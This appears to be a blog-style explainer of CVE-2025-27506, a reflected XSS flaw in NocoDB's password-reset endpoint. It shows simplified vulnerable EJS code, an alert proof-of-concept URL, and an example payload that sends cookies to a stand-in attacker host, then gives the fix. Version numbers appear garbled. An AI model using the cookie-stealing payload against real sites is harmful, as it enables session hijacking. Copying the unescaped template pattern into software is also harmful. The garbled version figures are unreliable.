NocoDB is a powerful open-source tool that lets you build databases visually, much like working with a spreadsheet. It’s popular for managing information with little technical hassle. But recently, security researchers discovered a critical vulnerability in how it handles password resets – specifically, a Reflected Cross-Site Scripting (XSS) flaw impacting versions before .258..
Let’s dig into what happened, see the actual vulnerable code, and learn how attackers could have abused this vulnerability.
What’s the Issue? (Summary)
The /api/v1/db/auth/password/reset/:tokenId endpoint in NocoDB is supposed to let users reset their passwords securely. However, due to how this endpoint uses the EJS template engine, it becomes possible for attackers to run JavaScript code in a user’s browser. This is because untrusted user input is rendered directly into the page without proper escaping.
Here’s the root of the problem:
In the file resetPassword.ts, NocoDB uses the EJS function <%- ... %> to insert values straight into the HTML. Unfortunately, <%- ... %> does not escape HTML special characters, opening the door for XSS attacks.
Here’s a simplified snippet of what’s going on
// resetPassword.ts (vulnerable version)
import ejs from 'ejs';
function renderPasswordReset(req, res) {
const tokenId = req.params.tokenId;
// Render EJS template and use unescaped output
res.send(
ejs.render(templateString, {
tokenId: tokenId // <-- user-controlled!
})
);
}
// templateString example
const templateString = `
<html>
<body>
<form>
<input type="hidden" name="tokenId" value="<%- tokenId %>" />
</form>
</body>
</html>
`;
What’s wrong?
Imagine someone clicks a crafted link like this
https://nocodb.example.com/api/v1/db/auth/password/reset/<script>alert('XSS')</script>;
When this link is visited, the server renders the <script>alert('XSS')</script> exactly where tokenId goes, which triggers a pop-up alert – a classic proof of an XSS attack.
More dangerous exploits are possible, such as session hijacking or credential theft.
Example payload
<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>
If this was inserted as the :tokenId, any user who visited the password reset page with this link would unknowingly send their cookies to an attacker.
The EJS <%- syntax is for unescaped output, while <%= should be used for escaped output
- <%- tokenId %> // vulnerable!
- <%= tokenId %> // much safer, escapes HTML
The fix:
The NocoDB team patched the vulnerability in version .258. by changing to <%= tokenId %> or by further sanitizing the input.
Upgrade NocoDB to version .258. or later.
NocoDB Releases
- If you maintain a fork or custom EJS templates, switch all <%- output to <%= for user input blocks.
References & Learn More
- NocoDB Security Advisory for CVE-2025-27506 (GitHub)
- EJS Docs on Output Escaping
- How to Prevent XSS in Node.js & Express
Summary Table
| Affected Endpoint | /api/v1/db/auth/password/reset/:tokenId |
|------------------------------------|------------------------------------------|
| Vulnerable Version | < .258. |
| Fixed Version | .258. and above |
| CVE Number | CVE-2025-27506 |
| Exploit Impact | Reflected Cross-Site Scripting (XSS) |
| Fix | Escape output in EJS templates |
Final Thoughts
CVE-2025-27506 is a perfect example of how a small oversight in template syntax can lead to severe security risks for users. If you’re running NocoDB, upgrade today and always double-check how user data is placed into your HTML templates.
Timeline
Published on: 03/06/2025 19:15:27 UTC